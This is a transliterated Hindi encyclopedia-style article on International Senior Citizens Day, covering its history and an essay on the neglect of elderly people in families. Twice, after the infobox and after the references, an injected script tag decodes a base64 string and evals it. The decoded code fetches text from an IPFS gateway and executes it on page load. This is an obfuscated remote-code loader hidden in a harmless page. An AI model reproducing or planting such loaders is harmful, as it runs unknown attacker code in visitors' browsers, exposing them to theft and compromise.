अंतरराष्ट्रीय वरिष्ठ नागरिक दिवस
aantararashtriy varishth nagarik divas
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| vivaran | 'aantararashtriy varishth nagarik divas' ka itihas 1988 ki avadhi se ata hai. ise adhikarik taur par sanyukt rajy amerika ke poorv rashtrapati ronald rigan dvara sthapit kiya gaya tha. |
| tithi | 21 agast |
| shuruat | 1 aktoobar, 1991 |
| uddeshy | duniya bhar mean bujurgoan ki vartaman sthiti ke sath-sath unake yogadan ki samasyaoan ko pratibianbit karane ke lie manaya jata hai. |
| vishesh | vriddh samaj itana kuanthit evan upekshit kyoan hai, ek aham prashn hai. apane ko samaj mean ek tarah se nishprayojy samajhe jane ke karan vah sarvadhik duahkhi rahata hai. vriddh samaj ko is duahkh aur santras se chhutakara dilane ke liye thos prayas kiye jane ki bahut avashyakata hai. |
| any janakari | aantararashtriy varishth nagarik divas manana tabhi sarthak hoga jab ham apane vriddhoan ko parivar mean sammanajanak jivan deange, unake shubh evan mangal ki kamana kareange. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aantararashtriy varishth nagarik divas (aangrezi: World Senior Citizen's Day) har sal 21 agast ko manaya jata hai. sanyukt rashtr mahasabha dvara 14 disanbar, 1990 mean is divas ko manane ki ghoshana ki gee thi. pahali bar 1 aktoobar, 1991 ko aantararashtriy varishth nagarik divas manaya gaya tha. sanyukt rajy amerika mean rashtrapati ronald rigan ne 19 agast, 1988 ko prastav par hastakshar kie aur 21 agast, 1988 ko sanyukt rajy mean pahali bar aantararashtriy varishth nagarik divas manaya gaya. yah din duniya bhar mean bujurgoan ki vartaman sthiti ke sath-sath unake yogadan ki samasyaoan ko pratibianbit karane ke lie manaya jata hai.
mukhy uddeshy
aantararashtriy varishth nagarik divas ka adhikarik taur par sanyukt rajy amerika ke poorv rashtrapati ronald rigan dvara shriganesh kiya gaya tha. is divas ko manane ka mukhy uddeshy sansar ke bujurg logoan ko samman dene ke alava unaki vartaman samasyaoan ke bare mean janamanas mean jagarookata badhana hai. prashn hai ki duniya mean vriddh divas manane ki avashyakata kyoan huee? kyoan vriddhoan ki upeksha evan prata dana ki sthitiyaan bani huee haian? chintan ka mahatvapoorn paksh hai ki vriddhoan ki upeksha ke is galat pravah ko rokean. kyoanki soch ke galat pravah ne n keval vriddhoan ka jivan dushvar kar diya hai balki adami-adami ke bich ke bhavatmak phasaloan ko bhi badha diya hai. vriddh apane hi ghar ki dahalij par sahama-sahama kh da hai, usaki aankhoan mean bhavishy ko lekar bhay hai, asuraksha aur dahashat hai, dil mean antahin dard hai. in trasad evan daravani sthitiyoan se vriddhoan ko mukti dilani hogi. sudhar ki sanbhavana har samay hai. ham parivarik jivan mean vriddhoan ko samman dean, isake liye sahi disha mean chale, sahi sochean, sahi karean. isake liye aj vicharakraanti hi nahian, balki vyaktikraanti ki jaroorat hai. vishv mean is divas ko manane ke tarike alag-alag ho sakate haian, parantu sabhi ka mukhy uddeshy yah hota hai ki ve apane bujurgoan ke yogadan ko n bhoolean aur unako akelepan ki kami ko mahasoos n hone dean.[1]
bharatiy sanskriti mean vriddhoan ka mahattv
bharat to bujurgoan ko bhagavan ke roop mean manata hai. itihas mean anekoan aise udaharan hai ki mata-pita ki ajna se bhagavan shriram jaise avatari purushoan ne rajapat tyag kar vanoan mean vicharan kiya, matri-pitri bhakt shravan kumar ne apane andhe mata-pita ko kaanv d mean baithakar charadham ki yatra karaee. phir kyoan adhunik samaj mean vriddh mata-pita aur unaki santan ke bich dooriyaan badhati ja rahi haian. aj ka vriddh samaj-parivar se kata rahata hai aur samanyatah is bat se sarvadhik duahkhi hai ki jivan ka vishad anubhav hone ke bavajood koee unaki ray n to lena chahata hai aur n hi unaki ray ko mahatv deta hai. samaj mean apani ek tarah se ahamitay n samajhe jane ke karan hamara vriddh samaj duahkhi, upekshit evan trasad jivan jine ko vivash hai. vriddh samaj ko is duahkh aur kasht se chhutakara dilana aj ki sabase b di jarurat hai. aj ham bujurgoan evan vriddhoan ke prati apane kartavyoan ka nirvah karane ke sath-sath samaj mean unako uchit sthan dene ki koshish karean taki umr ke us p dav par jab unhe pyar aur dekhabhal ki sabase jyada jaroorat hoti hai to vo jiandagi ka poora anand le sake.
vriddhoan ko bhi apane svayan ke prati jagarook hona hoga, jaisaki jems garaphild ne kaha bhi hai ki- yadi vriddhavastha ki jhoorriyaan p dati hai to unhean hriday par mat p dane do. kabhi bhi atma ko vriddh mat hone do.
varishth aj kuanthit kyoan
vriddh samaj itana kuanthit evan upekshit kyoan hai, ek aham prashn hai. apane ko samaj mean ek tarah se nishprayojy samajhe jane ke karan vah sarvadhik duahkhi rahata hai. vriddh samaj ko is duahkh aur santras se chhutakara dilane ke liye thos prayas kiye jane ki bahut avashyakata hai. sanyukt rashtr ne vishv mean bujurgoan ke prati ho rahe durvyavahar aur anyay ko samapt karane ke lie aur logoan mean jagarookata phailane ke lie aantararashtriy varishth nagarik divas manane ka nirnay liya. yah sachchaee hai ki ek pe d jitana jyada b da hota hai, vah utana hi adhik jhuka hua hota hai yani vah utana hi vinamr aur doosaroan ko phal dene vala hota hai, yahi bat samaj ke us varg ke sath bhi lagoo hoti hai, jise aj ki tathakathit yuva tatha uchch shiksha prapt pidhi boodha kah kar vriddhashram mean chho d deti hai. vah log bhool jate haian ki anubhav ka koee doosara vikalp duniya mean hai hi nahian. anubhav ke sahare hi duniya bhar mean bujurg logoan ne apani alag duniya bana rakhi hai.[1]
jis ghar ko banane mean ek iansan apani poori jiandagi laga deta hai, vriddh hone ke bad use usi ghar mean ek tuchchh vastu samajh liya jata hai. b de boodhoan ke sath yah vyavahar dekhakar lagata hai jaise hamare sanskar hi mar ge haian. bujurgoan ke sath hone vale anyay ke pichhe ek mukhy vajah samajik pratishtha mani jati hai. tathakathit vyaktivadi evan suvidhavadi soch ne samaj ki sanrachana ko badasoorat bana diya hai. sab janate haian ki aj har iansan samaj mean khud ko b da dikhana chahata hai aur dikhave ki a d mean bujurg log use apani shan-shaukat evan suandarata par ek kala dag dikhate haian. aj ban raha samaj ka sach daravana evan sanvedanahin hai. adami jivan moolyoan ko khokar akhir kab tak dhairy rakhega aur kyoan rakhega jab jivan ke asapas sabakuchh bikharata ho, khota ho, mitata ho aur sanvedanashoony hota ho. dijarayali ka marmik kathan hai ki yauvan ek bhool hai, poorn manushyatv ek sangharsh aur vardhaky ek pashchatap.’ vriddh jivan ko pashchatap ka paryay n banane dean.
jivan ka anivary saty 'vriddhavastha'
katu saty hai ki vriddhavastha jivan ka anivary saty hai. jo aj yuva hai, vah kal boodha bhi hoga hi, lekin samasya ki shuruat tab hoti hai, jab yuva pidhi apane bujurgoan ko upeksha ki nigah se dekhane lagati hai aur unhean apane budhape aur akelepan se l dane ke lie asahay chho d deti hai. aj vriddhoan ko akelapan, parivar ke sadasyoan dvara upeksha, tiraskar, katuktiyaan, ghar se nikale jane ka bhay ya ek chhat ki talash mean idhar-udhar bhatakane ka gam haradam salata rahata. vriddhoan ko lekar jo ganbhir samasyaean aj paida huee haian, vah achanak hi nahian huee, balki upabhoktavadi sanskriti tatha mahanagariy adhunatan bodh ke tahat badalate samajik moolyoan, nee pidhi ki soch mean parivartan ane, mahangaee ke badhane aur vyakti ke apane bachchoan aur patni tak simit ho jane ki pravritti ke karan b de-boodhoan ke lie anek samasyaean a kh di huee haian. isiliye sisaro ne kamana karate hue kaha tha ki- jaise maian vriddhavastha ke kuchh gunoan ko apane andar samavisht rakhane vala yuvak ko chahata hooan, utani hi prasannata mujhe yuvakal ke gunoan se yukt vriddh ko dekhakar bhi hoti hai, jo is niyam ka palan karata hai, sharir se bhale vriddh ho jae, kintu dimag se kabhi vriddh nahian ho sakata. vriddh logoan ke liye yah jaroori hai ki ve vardhaky ko odhe nahian, balki jiean.
aj jahaan adhikaansh parivaroan mean bhaiyoan ke madhy is bat ko lekar vivad hota hai ki vriddh mata-pita ka bojh kaun uthae, vahian bahut se mamaloan mean bete-betiyaan, dhan-sanpatti ke rahate mata-pita ki seva ka bhav dikhate haian, par jamin-jayadad ki rajistri tatha vasiyatanama sanpann hote hi unaki najar badal jati hai. itana hi nahian sanvedanashoony samaj mean in dinoan kee aisi ghatanaean prakash mean aee haian, jab sanpatti moh mean vriddhoan ki hatya kar di gee. aise mean svarth ka yah nanga khel svayan apanoan se hota dekhakar vriddhajanoan ko kin manasik aghatoan se gujarana p data hoga, isaka aandaja nahian lagaya ja sakata. vriddhavastha manasik vyatha ke sath sirph sahanubhooti ki asha johati rah jati hai. isake pichhe manovaijnanik paristhitiyaan kam karati haian. vriddhajan avyavastha ke bojh aur sharirik akshamata ke daur mean apane akelepan se joojhana chahate haian par inaki sakriyata ka svagat samaj ya parivar nahian karata aur n karana chahata hai. b de shaharoan mean parivar se upekshit hone par boodhe-bujurgoan ko ‘old homs’ mean sharan mil bhi jati hai, par chhote kasboan aur gaanvoan mean to thukarane, tarasane, satae jane par bhi ajivan ghut-ghut kar jine ki majaboori hoti hai. yadyapi ‘old homs’ ki sthiti bhi thik nahian hai.[1]
vyavasayikata ki chot
pahale jahaan vriddhashram mean seva-bhav pradhan tha, par aj vyavasayikata ki chot mean yahaan amiroan ko hi pravesh mil pa raha hai. aise mean madhyamavargiy parivar ke vriddhoan ke lie jivan ka uttararddh paha d ban jata hai. varkiang bahuoan ke tane, bachchoan ko tahalane-ghumane ki jimmedari ki phikr mean prayah jahaan purush vriddhoan ki subah-sham khap jati hai, vahian mahila vriddh ek naukarani se adhik haisiyat nahian rakhati. yadi parivar ke vriddh kashtapoorn jivan vyatit kar rahe haian, rugnavastha mean bistar par p de karah rahe haian, bharan-poshan ko taras rahe haian to yah hamare lie vastav mean lajja evan sharm ka vishay hai. par kaun sochata hai, kise phursat hai, vriddhoan ki phikr kise haian? bhautik jiandagi ki bhagadau d mean nee pidhi ne-ne mukam dhooandhane mean lagi hai, aj vriddhajan apanoan se door jiandagi ke aantim p dav par kavindr-ravindr ki panktiyaan gunagunane ko kyoan vivash hai- dirgh jivan ekata dirgh abhishap’, dirgh jivan ek dirgh abhishap hai.
hamean samajhana hoga ki agar samaj ke is anubhavi stanbh ko yooan hi najaraandazakiya jata raha to ham us anubhav se bhi door ho jaeange, jo in logoan ke pas hai. aantararashtriy varishth nagarik divas manana tabhi sarthak hoga jab ham apane vriddhoan ko parivar mean sammanajanak jivan deange, unake shubh evan mangal ki kamana kareange.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 varishth nagarik divas manana tabhi sarthak hoga jab unhean samman aur suraksha dean (hindi) prabhasakshi.com. abhigaman tithi: 23 agast, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- World Senior Citizen’s Day 2020: Date, Theme and Importance of the Occasion
- aantarrashtriy varishth nagarik divas: bina peanshan ke kaise surakshit hogi vriddhavastha
sanbandhit lekh
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varnamala kramanusar lekh khoj
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